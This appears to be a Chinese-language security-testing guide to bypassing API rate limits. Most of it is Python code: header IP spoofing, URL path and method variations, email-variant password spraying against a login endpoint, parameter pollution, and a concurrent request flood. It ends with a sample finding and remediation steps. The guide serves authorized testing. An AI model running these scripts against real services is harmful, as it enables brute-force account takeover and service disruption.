performing-api-rate-limiting-bypass

执行 API 速率限制绕过

何时使用

• 测试 API 速率限制是否可被绕过，从而对身份验证端点发起暴力破解攻击
• 评估 API 节流控制对撞库或账户枚举的防护效果
• 评估速率限制是否在所有 API 版本、方法和编码格式中一致执行
• 测试 API 网关速率限制是否可通过请求头操纵或 IP 轮换绕过
• 验证速率限制能否防范资源耗尽和拒绝服务状况

请勿在未获得书面授权的情况下使用。速率限制测试涉及发送大量请求，可能影响服务可用性。

前提条件

• 明确指定目标端点和可接受请求量的书面授权
• Python 3.10+ 及 requests、aiohttp 和 asyncio 库
• Burp Suite Professional 及 Turbo Intruder 扩展，用于高速测试
• cURL，用于手动请求头操纵测试
• 了解目标的 CDN 和 WAF 基础设施（Cloudflare、AWS WAF、Akamai）
• 待测试的速率限制绕过请求头列表

工作流

第 1 步：速率限制发现与基线

识别速率限制的实现方式：

import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
            "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
            "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
            "retry_after": resp.headers.get("Retry-After"),
            "status": resp.status_code
        }
        results.append(rate_headers)
        if resp.status_code == 429:
            print(f"Rate limited at request {i+1}: {rate_headers}")
            return results, i+1
        time.sleep(0.05)  # Small delay to avoid connection issues
    print(f"No rate limit triggered after {count} requests")
    return results, count

# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)

print(f"\nRate Limit Summary:")
print(f"  Login: Triggered at request {login_threshold}")
print(f"  API: Triggered at request {api_threshold}")
print(f"  Search: Triggered at request {search_threshold}")

第 2 步：基于 IP 的绕过技术

# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "[email protected]", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)

第 3 步：端点变体绕过

# Bypass Technique 2: URL path variation
def test_path_variation_bypass(base_endpoint, token):
    """Test if path variations bypass rate limit tied to specific endpoint."""
    variations = [
        base_endpoint,                          # /api/v1/auth/login
        base_endpoint + "/",                    # /api/v1/auth/login/
        base_endpoint.upper(),                  # /API/V1/AUTH/LOGIN
        base_endpoint + "?dummy=1",             # /api/v1/auth/login?dummy=1
        base_endpoint + "#fragment",            # /api/v1/auth/login#fragment
        base_endpoint + "%20",                  # /api/v1/auth/login%20
        base_endpoint + "/..",                  # /api/v1/auth/login/..
        base_endpoint.replace("/v1/", "/v2/"),  # /api/v2/auth/login
        base_endpoint + ";",                    # /api/v1/auth/login;
        base_endpoint + "\t",                   # Tab character
        base_endpoint + "%00",                  # Null byte
        base_endpoint + "..;/",                 # Spring path traversal
    ]

    # Trigger rate limit on original endpoint first
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{base_endpoint}",
                           headers={"Authorization": f"Bearer {token}"},
                           json={"username": "test", "password": "wrong"})
        if resp.status_code == 429:
            break

    # Test variations
    for variant in variations:
        try:
            resp = requests.post(f"{BASE_URL}{variant}",
                               headers={"Authorization": f"Bearer {token}"},
                               json={"username": "test", "password": "wrong"})
            if resp.status_code != 429:
                print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}")
        except Exception:
            pass

test_path_variation_bypass("/auth/login", "<token>")

第 4 步：HTTP 方法和 Content-Type 绕过

# Bypass Technique 3: Method and content-type switching
def test_method_bypass(endpoint, original_body):
    """Test if rate limit is method-specific."""
    methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]

    content_types = [
        "application/json",
        "application/x-www-form-urlencoded",
        "multipart/form-data",
        "text/plain",
        "application/xml",
        "text/xml",
    ]

    # Trigger rate limit with POST + application/json
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{endpoint}",
                           headers={**headers, "Content-Type": "application/json"},
                           json=original_body)
        if resp.status_code == 429:
            break

    # Test other methods
    for method in methods_to_test:
        if method == "POST":
            continue
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=headers, json=original_body)
        if resp.status_code not in (429, 405):
            print(f"[BYPASS] Method switch to {method}: {resp.status_code}")

    # Test other content types
    for ct in content_types:
        if ct == "application/json":
            continue
        test_headers = {**headers, "Content-Type": ct}
        if ct == "application/x-www-form-urlencoded":
            data = "&".join(f"{k}={v}" for k, v in original_body.items())
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data)
        else:
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers,
                               data=str(original_body))
        if resp.status_code != 429:
            print(f"[BYPASS] Content-Type {ct}: {resp.status_code}")

test_method_bypass("/auth/login", {"username": "[email protected]", "password": "wrong"})

第 5 步：账户级绕过技术

# Bypass Technique 4: Rotate identifiers to avoid per-account limits
import string
import random

def test_account_rotation_bypass(login_endpoint, target_password_list):
    """Test if rate limit is per-account, bypassed by rotating usernames."""
    target_email = "[email protected]"

    # Test 1: Per-account rate limit bypass by rotating the username field
    # with slight variations
    email_variations = [
        target_email,
        target_email.upper(),
        f" {target_email}",
        f"{target_email} ",
        target_email.replace("@", "%40"),
        f"+tag@".join(target_email.split("@")),  # [email protected]
    ]

    for password in target_password_list[:50]:
        for email_var in email_variations:
            resp = requests.post(f"{BASE_URL}{login_endpoint}",
                               json={"username": email_var, "password": password})
            if resp.status_code == 200:
                print(f"[SUCCESS] Logged in with: {email_var} / {password}")
                return True
            elif resp.status_code == 429:
                print(f"Rate limited on variation: {email_var}")
            # Small delay
            time.sleep(0.1)

    return False

# Bypass Technique 5: Parameter pollution
def test_parameter_pollution_bypass(endpoint):
    """Add extra parameters to make each request appear unique."""
    for i in range(200):
        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))
        resp = requests.post(
            f"{BASE_URL}{endpoint}?{random_param}={i}",
            headers=headers,
            json={"username": "[email protected]", "password": f"attempt_{i}"}
        )
        if resp.status_code == 429:
            print(f"Parameter pollution failed at request {i+1}")
            return False
    print("[BYPASS] Parameter pollution: 200 requests without rate limit")
    return True

第 6 步：分布式和异步测试

import asyncio
import aiohttp

async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
    """Test rate limiting under concurrent load."""
    results = {"success": 0, "rate_limited": 0, "errors": 0}

    async def make_request(session, request_num):
        try:
            # Rotate X-Forwarded-For per request
            req_headers = {
                **headers,
                "X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
            }
            async with session.post(
                f"{BASE_URL}{endpoint}",
                headers=req_headers,
                json={"username": "[email protected]", "password": f"attempt_{request_num}"}
            ) as resp:
                if resp.status == 429:
                    results["rate_limited"] += 1
                elif resp.status in (200, 401):
                    results["success"] += 1
                else:
                    results["errors"] += 1
        except Exception:
            results["errors"] += 1

    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [make_request(session, i) for i in range(total_requests)]
        await asyncio.gather(*tasks)

    print(f"\nDistributed Test Results:")
    print(f"  Successful: {results['success']}")
    print(f"  Rate Limited: {results['rate_limited']}")
    print(f"  Errors: {results['errors']}")
    print(f"  Bypass Rate: {results['success']/(results['success']+results['rate_limited'])*100:.1f}%")

# asyncio.run(distributed_rate_limit_test("/auth/login"))

关键概念

术语	定义
速率限制	控制客户端在时间窗口内可对 API 发起的请求数量，通常按 IP、按用户或按 API 密钥执行
不受限的资源消耗	OWASP API4:2023 - API 未正确限制所请求资源的大小或数量，从而导致 DoS 或暴力破解攻击
X-Forwarded-For 欺骗	操纵 X-Forwarded-For 请求头，使服务器认为请求来自不同 IP 地址，从而绕过基于 IP 的速率限制
撞库	针对登录端点自动注入窃取的用户名/密码对，需要绕过速率限制才能进行大规模攻击
令牌桶	一种速率限制算法，允许请求突发达到桶容量上限，并以恒定速率补充
滑动窗口	一种速率限制算法，在滚动时间窗口内跟踪请求，比固定窗口更能抵御突发攻击

工具与系统

• Burp Suite Turbo Intruder：使用基于 Python 的脚本引擎进行速率限制测试的高性能请求发送器
• ffuf：快速 Web 模糊测试器，可通过可配置的请求速率和请求头操纵来测试速率限制
• wfuzz：支持请求头注入、参数模糊测试和速率限制规避技术的 Web 模糊测试器
• Postman Collection Runner：通过变量轮换自动执行集合，用于速率限制绕过测试
• Gatling/k6：负载测试工具，可模拟真实流量模式，在生产级条件下测试速率限制

常见场景

场景：登录 API 速率限制绕过评估

背景：某金融服务 API 在登录端点上实施了速率限制，以防止暴力破解攻击。安全团队希望在合规审计前验证这些控制措施的有效性。

方法：

1. 基线：向 POST /api/v1/auth/login 发送 100 个请求 — 速率为每 IP 每分钟 10 个请求时触发限制
2. 测试 X-Forwarded-For 轮换：发送 100 个带有不同 X-Forwarded-For 值的请求 — 速率限制被绕过（所有请求返回 401，而非 429）
3. 测试路径变体：/api/v1/auth/login/（末尾斜杠）会重置速率限制计数器
4. 测试 API 版本控制：/api/v2/auth/login 未配置速率限制（影子 API）
5. 测试参数污染：在每个请求中添加 ?_=<random> 可绕过速率限制
6. 测试并发请求：来自同一 IP 的 50 个同时请求 — 在速率限制生效前有 45 个成功（计数器存在竞态条件）
7. 确定速率限制是在 nginx 反向代理层使用仅基于 IP 的跟踪实现的，信任 X-Forwarded-For 头而未进行验证

陷阱：

• 发送过多过快的请求，导致测试环境实际发生拒绝服务
• 未测试密码重置、MFA 验证和账户枚举端点上的速率限制
• 假设速率限制是全局应用的，而它可能仅针对每个端点或每种方法
• 忽略速率限制计数器中的竞态条件，这些条件允许突发绕过
• 未分别测试已认证和未认证的速率限制

输出格式

## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing

**ID**: API-RATE-001
**Severity**: High (CVSS 7.3)
**OWASP API**: API4:2023 - Unrestricted Resource Consumption
**Affected Endpoints**:
  - POST /api/v1/auth/login
  - POST /api/v1/auth/forgot-password
  - POST /api/v1/auth/verify-mfa

**Description**:
The API rate limiting implementation relies on the X-Forwarded-For header
to identify client IP addresses. Since the application sits behind a load
balancer that does not strip or validate this header, an attacker can set
arbitrary X-Forwarded-For values to bypass the 10 requests/minute rate limit
on authentication endpoints.

**Bypass Methods Confirmed**:
1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)
2. Trailing slash path variation: /auth/login/ treated as separate endpoint
3. API v2 endpoint: No rate limiting configured
4. Race condition: 50 concurrent requests, 45 succeed before counter updates

**Impact**:
An attacker can perform unlimited brute force attacks against any user
account, bypassing the rate limit designed to prevent credential stuffing.
At 1000 attempts per minute, a 6-digit PIN can be brute-forced in under
17 minutes.

**Remediation**:
1. Configure the load balancer to set X-Forwarded-For and strip client-provided values
2. Implement rate limiting at the application layer using authenticated user ID, not just IP
3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)
4. Apply rate limits consistently across all API versions and content types
5. Use atomic rate limit counters (Redis INCR) to prevent race conditions
6. Implement progressive delays (exponential backoff) in addition to hard limits